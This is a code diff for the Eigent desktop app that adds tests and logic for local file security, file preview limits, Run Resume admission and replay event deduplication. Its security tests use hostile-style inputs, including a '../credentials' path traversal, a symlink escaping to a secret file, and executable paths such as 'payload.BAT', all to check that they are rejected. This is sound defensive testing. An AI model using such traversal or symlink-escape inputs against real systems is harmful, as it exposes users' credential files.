src/lib/localFileSecurity.test.ts
Normal file
110
src/lib/localFileSecurity.test.ts
Normal file
|
|
@ -0,0 +1,110 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import fsp from 'node:fs/promises';
|
||||
import os from 'node:os';
|
||||
import path from 'node:path';
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import {
|
||||
authorizeLocalFilePath,
|
||||
isExecutableExternalOpenPath,
|
||||
isMainRendererSender,
|
||||
} from '../../electron/main/localFileSecurity';
|
||||
|
||||
const temporaryDirectories: string[] = [];
|
||||
|
||||
async function temporaryDirectory(): Promise<string> {
|
||||
const directory = await fsp.mkdtemp(path.join(os.tmpdir(), 'eigent-local-'));
|
||||
temporaryDirectories.push(directory);
|
||||
return directory;
|
||||
}
|
||||
|
||||
afterEach(async () => {
|
||||
await Promise.all(
|
||||
temporaryDirectories
|
||||
.splice(0)
|
||||
.map((directory) => fsp.rm(directory, { recursive: true, force: true }))
|
||||
);
|
||||
});
|
||||
|
||||
describe('local file security', () => {
|
||||
it('keeps the main renderer web security and frame-navigation guard enabled', async () => {
|
||||
const mainSource = await fsp.readFile(
|
||||
path.resolve(process.cwd(), 'electron/main/index.ts'),
|
||||
'utf8'
|
||||
);
|
||||
|
||||
expect(mainSource).toContain('webSecurity: true');
|
||||
expect(mainSource).not.toContain('webSecurity: false');
|
||||
expect(mainSource).toContain("'will-frame-navigate'");
|
||||
});
|
||||
|
||||
it('allows files inside the active workspace and rejects traversal outside it', async () => {
|
||||
const root = await temporaryDirectory();
|
||||
const workspace = path.join(root, 'workspace');
|
||||
const outside = path.join(root, 'credentials');
|
||||
await fsp.mkdir(workspace);
|
||||
await fsp.writeFile(path.join(workspace, 'report.html'), '<h1>safe</h1>');
|
||||
await fsp.writeFile(outside, 'secret');
|
||||
const realReportPath = await fsp.realpath(
|
||||
path.join(workspace, 'report.html')
|
||||
);
|
||||
|
||||
await expect(
|
||||
authorizeLocalFilePath(path.join(workspace, 'report.html'), [workspace])
|
||||
).resolves.toEqual({
|
||||
allowed: true,
|
||||
filePath: realReportPath,
|
||||
});
|
||||
await expect(
|
||||
authorizeLocalFilePath(path.join(workspace, '..', 'credentials'), [
|
||||
workspace,
|
||||
])
|
||||
).resolves.toEqual({ allowed: false, reason: 'outside-roots' });
|
||||
});
|
||||
|
||||
it('rejects a symlink that escapes the active workspace', async () => {
|
||||
const root = await temporaryDirectory();
|
||||
const workspace = path.join(root, 'workspace');
|
||||
const secret = path.join(root, 'secret.txt');
|
||||
const link = path.join(workspace, 'linked-secret.txt');
|
||||
await fsp.mkdir(workspace);
|
||||
await fsp.writeFile(secret, 'secret');
|
||||
await fsp.symlink(secret, link);
|
||||
|
||||
await expect(authorizeLocalFilePath(link, [workspace])).resolves.toEqual({
|
||||
allowed: false,
|
||||
reason: 'outside-roots',
|
||||
});
|
||||
});
|
||||
|
||||
it('blocks executable files from external-open actions', () => {
|
||||
expect(isExecutableExternalOpenPath('/workspace/install.command')).toBe(
|
||||
true
|
||||
);
|
||||
expect(isExecutableExternalOpenPath('C:\\workspace\\payload.BAT')).toBe(
|
||||
true
|
||||
);
|
||||
expect(isExecutableExternalOpenPath('/workspace/no-extension', 0o755)).toBe(
|
||||
true
|
||||
);
|
||||
expect(isExecutableExternalOpenPath('/workspace/report.pdf')).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts IPC only from the main renderer', () => {
|
||||
expect(isMainRendererSender(7, 7)).toBe(true);
|
||||
expect(isMainRendererSender(8, 7)).toBe(false);
|
||||
expect(isMainRendererSender(7, null)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
|
@ -217,9 +217,14 @@ export function decideFilePreview(
|
|||
return { mode: 'full', limit };
|
||||
}
|
||||
|
||||
const limit = OFFICE_TYPES.has(normalized)
|
||||
? FILE_PREVIEW_LIMITS.officeBytes
|
||||
: FILE_PREVIEW_LIMITS.defaultBytes;
|
||||
if (!OFFICE_TYPES.has(normalized)) {
|
||||
// Unknown files may be binary and their size says nothing about the cost
|
||||
// of decoding and mounting a giant <pre>. Keep every unrecognised format
|
||||
// on the same bounded reader used by known text files.
|
||||
return { mode: 'bounded-text', limit: FILE_PREVIEW_LIMITS.textBytes };
|
||||
}
|
||||
|
||||
const limit = FILE_PREVIEW_LIMITS.officeBytes;
|
||||
if (size === null) {
|
||||
return {
|
||||
mode: 'blocked',
|
||||
|
|
|
|||
|
|
@ -12,13 +12,32 @@
|
|||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
import {
|
||||
acceptCanonicalRunEvent,
|
||||
admitDurableRunResume,
|
||||
canonicalRunEventToLegacyMessage,
|
||||
createCanonicalRunEventCursor,
|
||||
mergeFileInfoLists,
|
||||
normalizeTaskArtifactFileList,
|
||||
} from './chatStore';
|
||||
|
||||
describe('canonical Run replay projection', () => {
|
||||
it('surfaces Resume admission failures before execution starts', async () => {
|
||||
const error = Object.assign(new Error('Unsafe tool outcome'), {
|
||||
status: 409,
|
||||
});
|
||||
const post = vi.fn().mockRejectedValue(error);
|
||||
|
||||
await expect(
|
||||
admitDurableRunResume('run/unsafe', 'resume-request-1', post)
|
||||
).rejects.toBe(error);
|
||||
expect(post).toHaveBeenCalledWith('/runs/run%2Funsafe/resume', {
|
||||
request_id: 'resume-request-1',
|
||||
reason: 'explicit_resume',
|
||||
});
|
||||
});
|
||||
|
||||
it('unwraps legacy UI events and ignores typed-only/control events', () => {
|
||||
expect(
|
||||
canonicalRunEventToLegacyMessage({
|
||||
|
|
@ -47,6 +66,27 @@ describe('canonical Run replay projection', () => {
|
|||
).toBeNull();
|
||||
});
|
||||
|
||||
it('deduplicates reconnect replay by sequence and event_id', () => {
|
||||
const cursor = createCanonicalRunEventCursor();
|
||||
const first = { sequence: 1, event_id: 'event-1' };
|
||||
|
||||
expect(acceptCanonicalRunEvent(cursor, first, '1')).toBe(true);
|
||||
expect(acceptCanonicalRunEvent(cursor, first, '1')).toBe(false);
|
||||
expect(
|
||||
acceptCanonicalRunEvent(cursor, {
|
||||
sequence: 2,
|
||||
event_id: 'event-1',
|
||||
})
|
||||
).toBe(false);
|
||||
expect(
|
||||
acceptCanonicalRunEvent(cursor, {
|
||||
sequence: 2,
|
||||
event_id: 'event-2',
|
||||
})
|
||||
).toBe(true);
|
||||
expect(cursor.lastSequence).toBe(2);
|
||||
});
|
||||
|
||||
it('keeps same-named files when their workspace-relative paths differ', () => {
|
||||
const artifacts = Array.from({ length: 21 }, (_, index) => ({
|
||||
filename: 'index.html',
|
||||
|
|
@ -70,5 +110,68 @@ describe('canonical Run replay projection', () => {
|
|||
artifactChange: 'generated',
|
||||
})
|
||||
);
|
||||
|
||||
expect(mergeFileInfoLists([], files)).toHaveLength(21);
|
||||
|
||||
expect(
|
||||
mergeFileInfoLists(
|
||||
[
|
||||
{
|
||||
name: 'index.html',
|
||||
type: 'html',
|
||||
path: '/workspace/chapter-2/lesson-1/index.html',
|
||||
},
|
||||
],
|
||||
[files[0]]
|
||||
)
|
||||
).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('matches URL-encoded stream paths and legacy x-prefixed paths', () => {
|
||||
expect(
|
||||
mergeFileInfoLists(
|
||||
[
|
||||
{
|
||||
name: 'report.csv',
|
||||
type: 'csv',
|
||||
path: '/files/stream?path=reports%2Freport.csv&project_id=1',
|
||||
isRemote: true,
|
||||
},
|
||||
],
|
||||
[
|
||||
{
|
||||
name: 'report.csv',
|
||||
type: 'csv',
|
||||
path: '/workspace/reports/report.csv',
|
||||
relativePath: 'reports/report.csv',
|
||||
artifactChange: 'changed',
|
||||
},
|
||||
]
|
||||
)
|
||||
).toMatchObject([
|
||||
{
|
||||
path: '/files/stream?path=reports%2Freport.csv&project_id=1',
|
||||
artifactChange: 'changed',
|
||||
},
|
||||
]);
|
||||
|
||||
expect(
|
||||
mergeFileInfoLists(
|
||||
[
|
||||
{
|
||||
name: 'report.csv',
|
||||
type: 'csv',
|
||||
path: 'x:/Users/test/report.csv',
|
||||
},
|
||||
],
|
||||
[
|
||||
{
|
||||
name: 'report.csv',
|
||||
type: 'csv',
|
||||
path: '/Users/test/report.csv',
|
||||
},
|
||||
]
|
||||
)
|
||||
).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -86,6 +86,17 @@ const PROJECT_CONTEXT_MAX_RUNS = 8;
|
|||
// end step.
|
||||
const MAX_CHAT_HISTORY_SUMMARY_LENGTH = 1024;
|
||||
|
||||
export async function admitDurableRunResume(
|
||||
runId: string,
|
||||
requestId: string,
|
||||
post: typeof fetchPost = fetchPost
|
||||
): Promise<void> {
|
||||
await post(`/runs/${encodeURIComponent(runId)}/resume`, {
|
||||
request_id: requestId,
|
||||
reason: 'explicit_resume',
|
||||
});
|
||||
}
|
||||
|
||||
/** Adapt a canonical RunEvent to the legacy message reducer during migration. */
|
||||
export const canonicalRunEventToLegacyMessage = (
|
||||
value: unknown
|
||||
|
|
@ -112,6 +123,62 @@ export const canonicalRunEventToLegacyMessage = (
|
|||
} as AgentMessage;
|
||||
};
|
||||
|
||||
export interface CanonicalRunEventCursor {
|
||||
lastSequence: number;
|
||||
recentEventIds: Set<string>;
|
||||
eventIdOrder: string[];
|
||||
}
|
||||
|
||||
const CANONICAL_EVENT_ID_WINDOW = 2048;
|
||||
|
||||
export function createCanonicalRunEventCursor(
|
||||
afterSequence = 0
|
||||
): CanonicalRunEventCursor {
|
||||
return {
|
||||
lastSequence: Math.max(0, Math.trunc(afterSequence)),
|
||||
recentEventIds: new Set<string>(),
|
||||
eventIdOrder: [],
|
||||
};
|
||||
}
|
||||
|
||||
/** Sequence is the primary replay boundary; event_id is defense in depth. */
|
||||
export function acceptCanonicalRunEvent(
|
||||
cursor: CanonicalRunEventCursor,
|
||||
value: unknown,
|
||||
sseEventId?: unknown
|
||||
): boolean {
|
||||
if (!value || typeof value !== 'object') return false;
|
||||
const envelope = value as { sequence?: unknown; event_id?: unknown };
|
||||
const sequenceCandidate =
|
||||
typeof envelope.sequence === 'number'
|
||||
? envelope.sequence
|
||||
: typeof sseEventId === 'string' && sseEventId.trim()
|
||||
? Number(sseEventId)
|
||||
: NaN;
|
||||
const sequence = Number.isInteger(sequenceCandidate)
|
||||
? sequenceCandidate
|
||||
: null;
|
||||
const eventId =
|
||||
typeof envelope.event_id === 'string' && envelope.event_id
|
||||
? envelope.event_id
|
||||
: undefined;
|
||||
|
||||
if (sequence === null && !eventId) return false;
|
||||
if (sequence !== null && sequence <= cursor.lastSequence) return false;
|
||||
if (eventId && cursor.recentEventIds.has(eventId)) return false;
|
||||
|
||||
if (sequence !== null) cursor.lastSequence = sequence;
|
||||
if (eventId) {
|
||||
cursor.recentEventIds.add(eventId);
|
||||
cursor.eventIdOrder.push(eventId);
|
||||
if (cursor.eventIdOrder.length > CANONICAL_EVENT_ID_WINDOW) {
|
||||
const expired = cursor.eventIdOrder.shift();
|
||||
if (expired) cursor.recentEventIds.delete(expired);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
const clampHistorySummary = (
|
||||
value: string | undefined | null
|
||||
): string | undefined =>
|
||||
|
|
@ -1153,15 +1220,69 @@ async function loadTaskArtifactFileList({
|
|||
}
|
||||
}
|
||||
|
||||
function getFileInfoIdentities(file: FileInfo): string[] {
|
||||
return [
|
||||
file.relativePath,
|
||||
file.path,
|
||||
file.name,
|
||||
getOutputFileNameFromPath(file.path || ''),
|
||||
]
|
||||
.filter(Boolean)
|
||||
.map((value) => normalizeOutputPath(value as string).toLowerCase());
|
||||
function normalizedFileIdentity(value: string | undefined): string {
|
||||
if (!value) return '';
|
||||
|
||||
let identity = normalizeOutputPath(value);
|
||||
const queryIndex = identity.indexOf('?');
|
||||
if (queryIndex !== -1) {
|
||||
try {
|
||||
const remoteUrl = new URL(identity, 'http://eigent.local');
|
||||
const streamedPath = remoteUrl.searchParams.get('path');
|
||||
if (streamedPath) identity = normalizeOutputPath(streamedPath);
|
||||
} catch {
|
||||
// Keep the original value when it is not a valid URL-shaped path.
|
||||
}
|
||||
}
|
||||
|
||||
// Older Desktop builds accidentally prefixed POSIX sandbox paths with a
|
||||
// synthetic `x:` drive. It is identity noise, not part of the real path.
|
||||
return identity.replace(/^x:(?=\/)/i, '').toLowerCase();
|
||||
}
|
||||
|
||||
function pathEndsWithRelativePath(
|
||||
absoluteOrRemotePath: string,
|
||||
relativePath: string
|
||||
): boolean {
|
||||
return (
|
||||
absoluteOrRemotePath === relativePath ||
|
||||
absoluteOrRemotePath.endsWith(`/${relativePath.replace(/^\/+/, '')}`)
|
||||
);
|
||||
}
|
||||
|
||||
function fileInfoMatches(left: FileInfo, right: FileInfo): boolean {
|
||||
const leftPath = normalizedFileIdentity(left.path);
|
||||
const rightPath = normalizedFileIdentity(right.path);
|
||||
const leftRelative = normalizedFileIdentity(left.relativePath);
|
||||
const rightRelative = normalizedFileIdentity(right.relativePath);
|
||||
|
||||
if (leftRelative && rightRelative && leftRelative === rightRelative) {
|
||||
return true;
|
||||
}
|
||||
if (leftPath && rightPath && leftPath === rightPath) return true;
|
||||
if (
|
||||
leftRelative &&
|
||||
rightPath &&
|
||||
pathEndsWithRelativePath(rightPath, leftRelative)
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
if (
|
||||
rightRelative &&
|
||||
leftPath &&
|
||||
pathEndsWithRelativePath(leftPath, rightRelative)
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Name-only rows are legacy data with no path identity. Use the basename
|
||||
// only when neither side has enough path information to distinguish files.
|
||||
if (!leftPath && !rightPath && !leftRelative && !rightRelative) {
|
||||
return (
|
||||
normalizedFileIdentity(left.name) === normalizedFileIdentity(right.name)
|
||||
);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function isLegacySandboxDrivePath(
|
||||
|
|
@ -1178,17 +1299,14 @@ export function mergeFileInfoLists(
|
|||
extractedFileList: FileInfo[]
|
||||
): FileInfo[] {
|
||||
const merged = [...existingFileList];
|
||||
const mergedIdentities = merged.map(getFileInfoIdentities);
|
||||
|
||||
extractedFileList.forEach((file) => {
|
||||
const identities = getFileInfoIdentities(file);
|
||||
const existingIndex = mergedIdentities.findIndex((existingIdentities) =>
|
||||
identities.some((identity) => existingIdentities.includes(identity))
|
||||
const existingIndex = merged.findIndex((existing) =>
|
||||
fileInfoMatches(existing, file)
|
||||
);
|
||||
|
||||
if (existingIndex === -1) {
|
||||
merged.push(file);
|
||||
mergedIdentities.push(identities);
|
||||
return;
|
||||
}
|
||||
|
||||
|
|
@ -1201,7 +1319,6 @@ export function mergeFileInfoLists(
|
|||
...existingFile,
|
||||
...file,
|
||||
};
|
||||
mergedIdentities[existingIndex] = identities;
|
||||
return;
|
||||
}
|
||||
|
||||
|
|
@ -1645,6 +1762,10 @@ const chatStore = (initial?: Partial<ChatStore>) =>
|
|||
if (type === 'replay') {
|
||||
setDelayTime(taskId, delayTime as number);
|
||||
setType(taskId, type);
|
||||
// A replay reconstructs persisted execution time from event
|
||||
// timestamps. Never carry a stale live clock across an idle/restart
|
||||
// interval or the END reducer will count that interval as work.
|
||||
get().setTaskTime(taskId, 0);
|
||||
}
|
||||
|
||||
//ProjectStore must exist as chatStore is already
|
||||
|
|
@ -1843,12 +1964,13 @@ const chatStore = (initial?: Partial<ChatStore>) =>
|
|||
const serverBaseUrl = import.meta.env.DEV
|
||||
? window.location.origin
|
||||
: import.meta.env.VITE_BASE_URL;
|
||||
const canonicalReplayCursor = createCanonicalRunEventCursor();
|
||||
const api =
|
||||
type == 'share'
|
||||
? `${serverBaseUrl}/api/v1/chat/share/playback/${shareToken}?delay_time=${delayTime}`
|
||||
: type == 'replay'
|
||||
? startOptions.replaySource === 'local_durable'
|
||||
? `/runs/${encodeURIComponent(newTaskId)}/stream?after_sequence=0`
|
||||
? `/runs/${encodeURIComponent(newTaskId)}/stream?after_sequence=${canonicalReplayCursor.lastSequence}`
|
||||
: `${serverBaseUrl}/api/v1/chat/steps/playback/${newTaskId}?delay_time=${delayTime}`
|
||||
: '/chat';
|
||||
|
||||
|
|
@ -2262,6 +2384,19 @@ const chatStore = (initial?: Partial<ChatStore>) =>
|
|||
}
|
||||
}
|
||||
|
||||
// Use the Run control API as the authoritative Resume admission gate.
|
||||
// It returns real 404/409 errors for terminal, cancelled, cloud-restored,
|
||||
// or unsafe-to-replay Runs. Only after all local model/workspace preflight
|
||||
// has succeeded do we create the durable pending Attempt.
|
||||
if (startOptions.resumeRequestId) {
|
||||
try {
|
||||
await admitDurableRunResume(newTaskId, startOptions.resumeRequestId);
|
||||
} catch (error) {
|
||||
finishStartupFailure();
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
// Lock the chatStore reference at the start of SSE session to prevent focus changes
|
||||
// during active message processing
|
||||
let lockedChatStore = targetChatStore;
|
||||
|
|
@ -2365,6 +2500,16 @@ const chatStore = (initial?: Partial<ChatStore>) =>
|
|||
}
|
||||
: undefined;
|
||||
|
||||
let resumeStreamOpened = false;
|
||||
let resolveResumeStreamOpen: (() => void) | undefined;
|
||||
let rejectResumeStreamOpen: ((error: unknown) => void) | undefined;
|
||||
const resumeStreamOpenPromise = startOptions.resumeRequestId
|
||||
? new Promise<void>((resolve, reject) => {
|
||||
resolveResumeStreamOpen = resolve;
|
||||
rejectResumeStreamOpen = reject;
|
||||
})
|
||||
: null;
|
||||
|
||||
const ssePromise = sseTransport({
|
||||
url: api,
|
||||
method: !type ? 'POST' : 'GET',
|
||||
|
|
@ -2381,6 +2526,15 @@ const chatStore = (initial?: Partial<ChatStore>) =>
|
|||
try {
|
||||
const parsed = JSON.parse(event.data);
|
||||
if (startOptions.replaySource === 'local_durable') {
|
||||
if (
|
||||
!acceptCanonicalRunEvent(
|
||||
canonicalReplayCursor,
|
||||
parsed,
|
||||
event.id
|
||||
)
|
||||
) {
|
||||
return;
|
||||
}
|
||||
// /runs/{id}/stream returns the canonical RunEvent envelope.
|
||||
// The existing Desktop reducer remains legacy-shaped during
|
||||
// migration, so typed-only/control events advance the stream
|
||||
|
|
@ -4538,13 +4692,28 @@ const chatStore = (initial?: Partial<ChatStore>) =>
|
|||
},
|
||||
async onopen(respond) {
|
||||
console.log('open', respond);
|
||||
if (!respond.ok) {
|
||||
const contentType = respond.headers.get('content-type') || '';
|
||||
if (!respond.ok || !contentType.startsWith('text/event-stream')) {
|
||||
let detail = `HTTP ${respond.status}`;
|
||||
try {
|
||||
const body = await respond.clone().json();
|
||||
const bodyDetail = body?.detail ?? body?.message ?? body?.text;
|
||||
if (typeof bodyDetail === 'string') detail = bodyDetail;
|
||||
else if (bodyDetail) detail = JSON.stringify(bodyDetail);
|
||||
} catch {
|
||||
// Preserve the HTTP fallback for non-JSON error responses.
|
||||
}
|
||||
const error: any = new Error(
|
||||
`Replay stream returned HTTP ${respond.status}`
|
||||
contentType.startsWith('text/event-stream')
|
||||
? `Run stream returned ${detail}`
|
||||
: `Run admission did not return an event stream: ${detail}`
|
||||
);
|
||||
error.status = respond.status;
|
||||
rejectResumeStreamOpen?.(error);
|
||||
throw error;
|
||||
}
|
||||
resumeStreamOpened = true;
|
||||
resolveResumeStreamOpen?.();
|
||||
const { setAttaches, activeTaskId } = get();
|
||||
setAttaches(activeTaskId as string, []);
|
||||
return;
|
||||
|
|
@ -4590,6 +4759,8 @@ const chatStore = (initial?: Partial<ChatStore>) =>
|
|||
return;
|
||||
}
|
||||
|
||||
if (!resumeStreamOpened) rejectResumeStreamOpen?.(err);
|
||||
|
||||
const currentTaskId = getCurrentTaskId();
|
||||
// Update trigger execution status to Completed for connection closed by server
|
||||
updateTriggerExecutionStatus(
|
||||
|
|
@ -4659,6 +4830,30 @@ const chatStore = (initial?: Partial<ChatStore>) =>
|
|||
}
|
||||
},
|
||||
});
|
||||
if (resumeStreamOpenPromise) {
|
||||
try {
|
||||
await Promise.race([
|
||||
resumeStreamOpenPromise,
|
||||
ssePromise.then(() => {
|
||||
if (!resumeStreamOpened) {
|
||||
throw new Error(
|
||||
'Run stream closed before Resume admission completed'
|
||||
);
|
||||
}
|
||||
}),
|
||||
]);
|
||||
} catch (error) {
|
||||
finishStartupFailure();
|
||||
abortController.abort();
|
||||
await ssePromise.catch(() => undefined);
|
||||
throw error;
|
||||
}
|
||||
// The caller only waits for admission. Runtime streaming continues in
|
||||
// the background and retains the existing reconnect behavior.
|
||||
void ssePromise.catch((error) => {
|
||||
console.error(`SSE stream failed for task ${newTaskId}:`, error);
|
||||
});
|
||||
}
|
||||
if (type === 'replay') {
|
||||
try {
|
||||
await ssePromise;
|
||||
|
|
|
|||
|
|
@ -55,4 +55,16 @@ describe('file preview policy', () => {
|
|||
decideFilePreview('md', { size: FILE_PREVIEW_LIMITS.textBytes + 1 })
|
||||
).toMatchObject({ mode: 'bounded-text' });
|
||||
});
|
||||
|
||||
it('never fully decodes an unknown file in the renderer', () => {
|
||||
expect(decideFilePreview('custom-data', { size: 20 })).toMatchObject({
|
||||
mode: 'bounded-text',
|
||||
limit: FILE_PREVIEW_LIMITS.textBytes,
|
||||
});
|
||||
expect(
|
||||
decideFilePreview('custom-data', {
|
||||
size: FILE_PREVIEW_LIMITS.defaultBytes,
|
||||
})
|
||||
).toMatchObject({ mode: 'bounded-text' });
|
||||
});
|
||||
});
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue